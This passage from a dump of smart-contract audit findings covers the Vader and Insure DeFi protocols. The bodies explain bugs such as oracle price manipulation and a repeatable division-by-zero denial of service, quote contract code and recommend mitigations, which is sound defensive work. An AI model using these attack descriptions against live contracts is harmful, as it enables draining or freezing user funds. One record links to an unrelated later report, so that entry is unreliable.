`syncVaderPrice` every time an update window of one of the pairs becomes eligible to be updated. ## Impact This bug leads to using wrong averaging and ignoring entire pairs due to their weights being initialized to zero and never being changed if the update window is not met. This in turn makes it easier to manipulate the price as potentially only a single pair needs to be price-manipulated. It's also possible to always set the `totalLiquidityWeight` to zero by calling `syncVaderPrice` twice which in turn reverts all transactions making use of the price because of a division by zero in `_caluclateVaderPrice`. An attacker can break the `USDV.mint` minting forever and any router calls to `VaderReserve.reimburseImpermanentLoss` also fail as they perform a call to the reverting price function. ## Recommended Mitigation Steps Even if `timeElapsed < pairData.updatePeriod`, the old pair weight should still contribute to the total liquidity weight and be set in `pastLiquidityWeights`. Move the `_totalLiquidityWeight += currentLiquidityEvaluation` and the `pastLiquidityWeights[i] = pastLiquidityEvaluation` assignments before the `continue`. "}, {"title": "`VaderPoolV2` minting synths & fungibles can be frontrun", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/147", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-12-vader-findings", "body": "`VaderPoolV2` minting synths & fungibles can be frontrun"}, {"title": "mintSynth might mint nothing", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/142", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-12-vader-findings", "body": "mintSynth might mint nothing"}, {"title": "Lack of address(0) check", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/140", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Lack of address(0) check"}, {"title": "vader can be initialized twice", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/139", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "# Handle danb # Vulnerability details https://github.com/code-423n4/2021-12-vader/blob/main/contracts/lbt/LiquidityBasedTWAP.sol#L221 vader can be initialized twice if in the first call to `setupVader`, `vaderPrice == 0`. ## Recommended Mitigation Steps add: ``` require(vaderPrice > 0); ``` in `setupVader`. "}, {"title": "Lack Of Router Setter Function", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/137", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "BasePoolV2"], "target": "2021-12-vader-findings", "body": "Lack Of Router Setter Function"}, {"title": "loss of precision", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/134", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "loss of precision"}, {"title": "Internal\u00a0functions can be\u00a0private if the contract is not herited", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Internal\u00a0functions can be\u00a0private if the contract is not herited"}, {"title": "Save Gas With The Unchecked Keyword", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/130", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-12-vader-findings", "body": "Save Gas With The Unchecked Keyword"}, {"title": "Lack of decimal control in StakingRewards", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/129", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "StakingRewards"], "target": "2021-12-vader-findings", "body": "Lack of decimal control in StakingRewards"}, {"title": "Lack of check of inputs in StakingRewards", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/128", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "StakingRewards"], "target": "2021-12-vader-findings", "body": "Lack of check of inputs in StakingRewards"}, {"title": "Explicit initialization with zero not required", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/126", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Explicit initialization with zero not required"}, {"title": "`++i` costs less gass compared to `i++`", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "`++i` costs less gass compared to `i++`"}, {"title": "An array's length should be cached to save gas in for-loops", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "An array's length should be cached to save gas in for-loops"}, {"title": "SafeMath is not needed when using Solidity version 0.8.*", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/120", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "StakingRewards"], "target": "2021-12-vader-findings", "body": "SafeMath is not needed when using Solidity version 0.8.*"}, {"title": "USDV LockCreated event should include the index of a created lock", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/117", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "USDV"], "target": "2021-12-vader-findings", "body": "USDV LockCreated event should include the index of a created lock"}, {"title": "Less than 256 uints are not gas efficient", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Less than 256 uints are not gas efficient"}, {"title": "transferOwnership should be two step process", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/113", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "transferOwnership should be two step process"}, {"title": "`> 0` can be replaced with `!= 0` for gas optimization", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/112", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "`> 0` can be replaced with `!= 0` for gas optimization"}, {"title": "SHOULD CHECK RETURN DATA FROM CHAINLINK AGGREGATORS (Timestamp)", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/111", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "SHOULD CHECK RETURN DATA FROM CHAINLINK AGGREGATORS (Timestamp)"}, {"title": "Out of gas.", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/110", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "Out of gas."}, {"title": "`USDV.claim` Does Not Check If Index Is Valid", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/106", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged", "USDV"], "target": "2021-12-vader-findings", "body": "`USDV.claim` Does Not Check If Index Is Valid"}, {"title": "`totalLiquidityWeight` Is Updated When Adding New Token Pairs Which Skews Price Data For `getVaderPrice` and `getUSDVPrice`", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/105", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `_addVaderPair` function is called by the `onlyOwner` role. The relevant data in the `twapData` mapping is set by querying the respective liquidity pool and Chainlink oracle. `totalLiquidityWeight` for the `VADER` path is also incremented by the `pairLiquidityEvaluation` amount (calculated within `_addVaderPair`). If a user then calls `syncVaderPrice`, the recently updated `totalLiquidityWeight` will be taken into consideration when iterating through all token pairs eligible for price updates to calculate the liquidity weight for each token pair. This data is stored in `pastTotalLiquidityWeight` and `pastLiquidityWeights` respectively. As a result, newly added token pairs will increase `pastTotalLiquidityWeight` while leaving `pastLiquidityWeights` underrepresented. This only occurs if `syncVaderPrice` is called before the update period for the new token has not been passed. This issue also affects how the price for `USDV` is synced. ## Proof of Concept https://github.com/code-423n4/2021-12-vader/blob/main/contracts/lbt/LiquidityBasedTWAP.sol#L299 ``` function _addVaderPair( IUniswapV2Pair pair, IAggregatorV3 oracle, uint256 updatePeriod ) internal { require( updatePeriod != 0, \"LBTWAP::addVaderPair: Incorrect Update Period\" ); require(oracle.decimals() == 8, \"LBTWAP::addVaderPair: Non-USD Oracle\"); ExchangePair storage pairData = twapData[address(pair)]; bool isFirst = pair.token0() == vader; (address nativeAsset, address foreignAsset) = isFirst ? (pair.token0(), pair.token1()) : (pair.token1(), pair.token0()); oracles[foreignAsset] = oracle; require(nativeAsset == vader, \"LBTWAP::addVaderPair: Unsupported Pair\"); pairData.foreignAsset = foreignAsset; pairData.foreignUnit = uint96( 10**uint256(IERC20Metadata(foreignAsset).decimals()) ); pairData.updatePeriod = updatePeriod; pairData.lastMeasurement = block.timestamp; pairData.nativeTokenPriceCumulative = isFirst ? pair.price0CumulativeLast() : pair.price1CumulativeLast(); (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); (uint256 reserveNative, uint256 reserveForeign) = isFirst ? (reserve0, reserve1) : (reserve1, reserve0); uint256 pairLiquidityEvaluation = (reserveNative * previousPrices[uint256(Paths.VADER)]) + (reserveForeign * getChainlinkPrice(foreignAsset)); pairData.pastLiquidityEvaluation = pairLiquidityEvaluation; totalLiquidityWeight[uint256(Paths.VADER)] += pairLiquidityEvaluation; vaderPairs.push(pair); if (maxUpdateWindow < updatePeriod) maxUpdateWindow = updatePeriod; } ``` https://github.com/code-423n4/2021-12-vader/blob/main/contracts/lbt/LiquidityBasedTWAP.sol#L113-L148 ``` function syncVaderPrice() public override returns ( uint256[] memory pastLiquidityWeights, uint256 pastTotalLiquidityWeight ) { uint256 _totalLiquidityWeight; uint256 totalPairs = vaderPairs.length; pastLiquidityWeights = new uint256[](totalPairs); pastTotalLiquidityWeight = totalLiquidityWeight[uint256(Paths.VADER)]; for (uint256 i; i < totalPairs; ++i) { IUniswapV2Pair pair = vaderPairs[i]; ExchangePair storage pairData = twapData[address(pair)]; uint256 timeElapsed = block.timestamp - pairData.lastMeasurement; if (timeElapsed < pairData.updatePeriod) continue; uint256 pastLiquidityEvaluation = pairData.pastLiquidityEvaluation; uint256 currentLiquidityEvaluation = _updateVaderPrice( pair, pairData, timeElapsed ); pastLiquidityWeights[i] = pastLiquidityEvaluation; pairData.pastLiquidityEvaluation = currentLiquidityEvaluation; _totalLiquidityWeight += currentLiquidityEvaluation; } totalLiquidityWeight[uint256(Paths.VADER)] = _totalLiquidityWeight; } ``` As shown above, `pastTotalLiquidityWeight = totalLiquidityWeight[uint256(Paths.VADER)]` loads in the total liquidity weight which is updated when `_addVaderPair` is called. However, `pastLiquidityWeights` is calculated by iterating through each token pair that is eligible to be updated. ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider removing the line `totalLiquidityWeight[uint256(Paths.VADER)] += pairLiquidityEvaluation;` in `_addVaderPair` so that newly added tokens do not impact upcoming queries for `VADER/USDV` price data. This should ensure `syncVaderPrice` and `syncUSDVPrice` cannot be manipulated when adding new tokens. "}, {"title": "No Method To Remove Token Pairs", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/104", "labels": ["bug", "duplicate", "1 (Low Risk)", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "No Method To Remove Token Pairs"}, {"title": "`previousPrices` Is Never Updated Upon Syncing Token Price", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/103", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "`previousPrices` Is Never Updated Upon Syncing Token Price"}, {"title": "`_addVaderPair` and `_addUSDVPair` Does Not Check For Duplicate Token Pairs", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/102", "labels": ["bug", "1 (Low Risk)", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "`_addVaderPair` and `_addUSDVPair` Does Not Check For Duplicate Token Pairs"}, {"title": "validateGas does nothing", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/99", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "GasThrottle"], "target": "2021-12-vader-findings", "body": "validateGas does nothing"}, {"title": "denial of service", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/98", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-12-vader-findings", "body": "denial of service"}, {"title": "Users can lock themselves out of being able to convert VETH, becoming stuck with the deprecated asset", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/97", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Users can lock themselves out of being able to convert VETH, becoming stuck with the deprecated asset"}, {"title": "Inclusion of salt and chainId in merkle tree leaves increases gas costs for no reason.", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/96", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "Converter"], "target": "2021-12-vader-findings", "body": "Inclusion of salt and chainId in merkle tree leaves increases gas costs for no reason."}, {"title": "wrong revert message", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/87", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "Converter"], "target": "2021-12-vader-findings", "body": "wrong revert message"}, {"title": "Modifier onlyUSDV() and function _onlyUSDV()", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "Vader"], "target": "2021-12-vader-findings", "body": "Modifier onlyUSDV() and function _onlyUSDV()"}, {"title": "Unnecessary supportedToken checks on swaps on VaderPoolV2", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/74", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-12-vader-findings", "body": "Unnecessary supportedToken checks on swaps on VaderPoolV2"}, {"title": "Storage of previous prices and total liquidity weights is suboptimal for gas costs", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "Storage of previous prices and total liquidity weights is suboptimal for gas costs"}, {"title": "VaderPoolV2 owner can steal all user assets which are approved VaderPoolV2", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/72", "labels": ["bug", "3 (High Risk)", "VaderPoolV2"], "target": "2021-12-vader-findings", "body": "VaderPoolV2 owner can steal all user assets which are approved VaderPoolV2"}, {"title": "Reserve does not properly apply prices of VADER and USDV tokens", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/71", "labels": ["bug", "3 (High Risk)", "VaderReserve"], "target": "2021-12-vader-findings", "body": "Reserve does not properly apply prices of VADER and USDV tokens"}, {"title": "Oracle returns an improperly scaled USDV/VADER price", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/70", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Invalid values returned from oracle in vast majority of situations ## Proof of Concept The LBT oracle does not properly scale values when calculating prices for VADER or USDV. To show this we consider the simplest case where we expect USDV to return a value of $1 and show that the oracle does not return this value. Consider the case of the LBT oracle tracking a single USDV-DAI pair where USDV trades 1:1 for DAI and Chainlink reports that DAI is exactly $1. We then work through the lines linked below: https://github.com/code-423n4/2021-12-vader/blob/00ed84015d4116da2f9db0c68db6742c89e73f65/contracts/lbt/LiquidityBasedTWAP.sol#L393-L409 For L397 we get a value of 1e8 as Chainlink reports the price of DAI with 8 decimals of accuracy. ``` foreignPrice = getChainlinkPrice(address(foreignAsset)); foreignPrice = 1e8 ``` We can set `liquidityWeights[i]` and `totalUSDVLiquidityWeight` both to 1 as we only consider a single pair so L399-401 becomes ``` totalUSD = foreignPrice; totalUSD = 1e8; ``` L403-408 is slightly more complex but from looking at the links below we can calculate `totalUSDV` as shown https://github.com/code-423n4/2021-12-vader/blob/00ed84015d4116da2f9db0c68db6742c89e73f65/contracts/dex-v2/pool/VaderPoolV2.sol#L81-L90 https://github.com/code-423n4/2021-12-vader/blob/00ed84015d4116da2f9db0c68db6742c89e73f65/contracts/external/libraries/FixedPoint.sol#L137-L160 ``` totalUSDV = pairData .nativeTokenPriceAverage .mul(pairData.foreignUnit) .decode144() // pairData.nativeTokenPriceAverage == 2**112 // pairData.foreignUnit = 10**18 // decode144(x) = x >> 112 totalUSDV = (2**112).mul(10**18).decode144() totalUSDV = 10**18 ``` Using `totalUSD` and `totalUSDV` we can then calculate the return value of `_calculateUSDVPrice` ``` returnValue = (totalUSD * 1 ether) / totalUSDV; returnValue = 1e8 * 1e18 / 1e18 returnValue = 1e8 ``` For the oracle implementation to be correct we then expect that the Vader protocol to treat values of 1e8 from the oracle to mean USDV is worth $1. However from the lines of code linked below we can safely assume that it is intended to be that values of 1e18 represent $1 rather than 1e8. https://github.com/code-423n4/2021-12-vader/blob/00ed84015d4116da2f9db0c68db6742c89e73f65/contracts/tokens/USDV.sol#L76 https://github.com/code-423n4/2021-12-vader/blob/00ed84015d4116da2f9db0c68db6742c89e73f65/contracts/tokens/USDV.sol#L109 High severity issue as the oracle is crucial for determining the exchange rate between VADER and USDV to be used for IL protection and minting/burning of USDV - an incorrect value will result in the protocol losing significant funds. ## Recommended Mitigation Steps Go over oracle calculation again to ensure that various scale factors are properly accounted for. Some handling of the difference in the number of decimals between the chainlink oracle and the foreign asset should be added. Build a test suite to ensure that the oracle returns the expected values for simple situations. "}, {"title": "Unnecessary checks on VADER token address in oracle.", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/69", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "Unnecessary checks on VADER token address in oracle."}, {"title": "VaderMath:calculateSwapReverse require statement change to <= instead of <", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/61", "labels": ["bug", "1 (Low Risk)", "VaderMath"], "target": "2021-12-vader-findings", "body": "VaderMath:calculateSwapReverse require statement change to <= instead of <"}, {"title": "Functions to calculate synth name/symbol should live in factory to reduce bytecode", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "Synth"], "target": "2021-12-vader-findings", "body": "Functions to calculate synth name/symbol should live in factory to reduce bytecode"}, {"title": "LPs of VaderPoolV2 can manipulate pool reserves to extract funds from the reserve.", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/55", "labels": ["bug", "3 (High Risk)", "VaderPoolV2", "VaderRouterV2"], "target": "2021-12-vader-findings", "body": "LPs of VaderPoolV2 can manipulate pool reserves to extract funds from the reserve."}, {"title": "No way to remove GasThrottle from VaderPool after deployment", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/52", "labels": ["bug", "2 (Med Risk)", "VaderPool"], "target": "2021-12-vader-findings", "body": "No way to remove GasThrottle from VaderPool after deployment"}, {"title": "Make use of a bitmap for claims to save gas in Converter.sol", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "Converter"], "target": "2021-12-vader-findings", "body": "Make use of a bitmap for claims to save gas in Converter.sol"}, {"title": "USDV minting limit is not applied if `cycleTimestamp <= block.timestamp`", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/45", "labels": ["bug", "1 (Low Risk)", "USDV"], "target": "2021-12-vader-findings", "body": "USDV minting limit is not applied if `cycleTimestamp <= block.timestamp`"}, {"title": "Council veto protection does not work", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/44", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "GovernorAlpha"], "target": "2021-12-vader-findings", "body": "Council veto protection does not work"}, {"title": "VaderMath:calculateSlipAdjustment() wrong comments", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/43", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "VaderMath"], "target": "2021-12-vader-findings", "body": "VaderMath:calculateSlipAdjustment() wrong comments"}, {"title": "Oracle doesn't calculate USDV/VADER price correctly", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/42", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "Oracle doesn't calculate USDV/VADER price correctly"}, {"title": "unsafe cast", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/41", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "LinearVesting"], "target": "2021-12-vader-findings", "body": "unsafe cast"}, {"title": "Oracle can be manipulted to consider only a single pair for pricing", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/40", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "LiquidityBasedTWAP"], "target": "2021-12-vader-findings", "body": "Oracle can be manipulted to consider only a single pair for pricing"}, {"title": "transfer return value of a general ERC20 is ignored", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/39", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-vader-findings", "body": "transfer return value of a general ERC20 is ignored"}, {"title": "Never used parameters", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/35", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Never used parameters"}, {"title": "Solidity compiler versions mismatch", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/31", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Solidity compiler versions mismatch"}, {"title": "Upgrade pragma to at least 0.8.4", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Upgrade pragma to at least 0.8.4"}, {"title": "State variables that could be set immutable", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "State variables that could be set immutable"}, {"title": "Storage double reading. Could save SLOAD", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/15", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Storage double reading. Could save SLOAD"}, {"title": "Unused state variables", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Unused state variables"}, {"title": "Use bytes32 instead of string to save gas whenever possible", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Use bytes32 instead of string to save gas whenever possible"}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "Unused imports"}, {"title": "wrong comment", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/9", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "BasePool"], "target": "2021-12-vader-findings", "body": "wrong comment"}, {"title": "Redudant 2nd call to lastTimeRewardApplicable in StakingRewards.sol", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/8", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "StakingRewards"], "target": "2021-12-vader-findings", "body": "Redudant 2nd call to lastTimeRewardApplicable in StakingRewards.sol"}, {"title": "VaderReserve.reimburseImpermanentLoss improperly converts USDV to VADER", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/7", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-12-vader-findings", "body": "VaderReserve.reimburseImpermanentLoss improperly converts USDV to VADER"}, {"title": "Redemption value of synths can be manipulated to drain `VaderPoolV2` of all native assets in the associated pair", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/5", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-12-vader-findings", "body": "Redemption value of synths can be manipulated to drain `VaderPoolV2` of all native assets in the associated pair"}, {"title": "Core AMM logic is written to give the impression it is working on a different asset than it is.", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/4", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "VaderMath"], "target": "2021-12-vader-findings", "body": "Core AMM logic is written to give the impression it is working on a different asset than it is."}, {"title": "VaderPoolV2.mintFungible exposes users to unlimited slippage", "html_url": "https://github.com/code-423n4/2021-12-vader-findings/issues/2", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-12-vader-findings", "body": "VaderPoolV2.mintFungible exposes users to unlimited slippage"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/362", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-insure-findings", "body": "See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-03-neotokyo-findings/blob/main/data/atharvasama-G.md)."}, {"title": "Gas: Avoid expensive calculation by checking if `originalLiquidity() == 0`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/361", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Checking if the value is 0 before returning 0 is less expensive than returning a calculation that's equal to 0 ## Proof of Concept In `PoolTemplate.sol:rate()`, the code is as follows: ``` File: PoolTemplate.sol 744: function rate() external view returns (uint256) { 745: if (totalSupply() > 0) { 746: return (originalLiquidity() * MAGIC_SCALE_1E6) / totalSupply(); 747: } else { 748: return 0; 749: } 750: } ``` It can be optimized as such: ``` 744: function rate() external view returns (uint256) { 745: uint256 originalLiquidity = originalLiquidity(); 746: if (originalLiquidity != 0 && totalSupply() > 0) { 747: return (originalLiquidity * MAGIC_SCALE_1E6) / totalSupply(); 748: } else { 749: return 0; 750: } 751: } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Cache the loaded storage value in a memory variable and make the 0 checks to avoid unnecessary calculations if `originalLiquidity() == 0` "}, {"title": "Gas: Optimize Conditional Statements in `PoolTemplate.sol:worth()`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/355", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact It's possible to save gas by optimizing the checks in conditional statements (`if`, `else if` and `else`). This would save a few opcodes and avoid redundant checks. ## Proof of Concept In `PoolTemplate.sol:worth()`, the code is as follows: ``` 799: function worth(uint256 _value) public view returns (uint256 _amount) { 800: uint256 _supply = totalSupply(); 801: uint256 _originalLiquidity = originalLiquidity(); 802: if (_supply > 0 && _originalLiquidity > 0) { 803: _amount = (_value * _supply) / _originalLiquidity; 804: } else if (_supply > 0 && _originalLiquidity == 0) { 805: _amount = _value * _supply; 806: } else { 807: _amount = _value; 808: } 809: } ``` The conditions checks can be optimized with the following (read the `@audit-info` comments for further information): ``` function worth(uint256 _value) public view returns (uint256 _amount) { uint256 _supply = totalSupply(); uint256 _originalLiquidity = originalLiquidity(); if (_supply == 0) { _amount = _value; } else if (_originalLiquidity == 0) { _amount = _value * _supply; } else { _amount = (_value * _supply) / _originalLiquidity; } } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Compact conditions in mentioned logic statements "}, {"title": "Index compensate is 0 when totalLiquidity() is enough to cover the whole amount", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/354", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle pauliax # Vulnerability details ## Impact In IndexTemplate, function compensate, When _amount > _value, and <= totalLiquidity(), the value of _compensated is not set, so it gets a default value of 0: ```solidity if (_value >= _amount) { ... _compensated = _amount; } else { ... if (totalLiquidity() < _amount) { ... _compensated = _value + _cds; } vault.offsetDebt(_compensated, msg.sender); } ``` But nevertheless, in both cases, it calls vault.offsetDebt, even when the _compensated is 0 (no else block). ## Recommended Mitigation Steps I think, in this case, it should try to redeem the premium (withdrawCredit?) to cover the whole amount, but I am not sure about the intentions as I didn't have enough time to understand this protocol in depth. "}, {"title": "Unbounded iteration over all indexes (2)", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/352", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact The transactions could fail if the array get too big and the transaction would consume more gas than the block limit. This will then result in a denial of service for the desired functionality and break core functionality. ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L703 ## Tools Used VS Code ## Recommended Mitigation Steps Keep the array size small. "}, {"title": "Gas: `incident.payoutDenominator` is used only once. It shouldn't be stored in a variable.", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/350", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost (1 MSTORE and 1 MLOAD) ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L553 There's no readability or gas gain from copying `incident.payoutDenominator` to a variable as it's used only once in the method. ## Tools Used VS Code ## Recommended Mitigation Steps Do not store this data in a variable "}, {"title": "Gas: `incident.payoutNumerator` is used only once. It shouldn't be stored in a variable.", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/349", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost (1 MSTORE and 1 MLOAD) ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/main/contracts/PoolTemplate.sol#L552 There's no readability or gas gain from copying 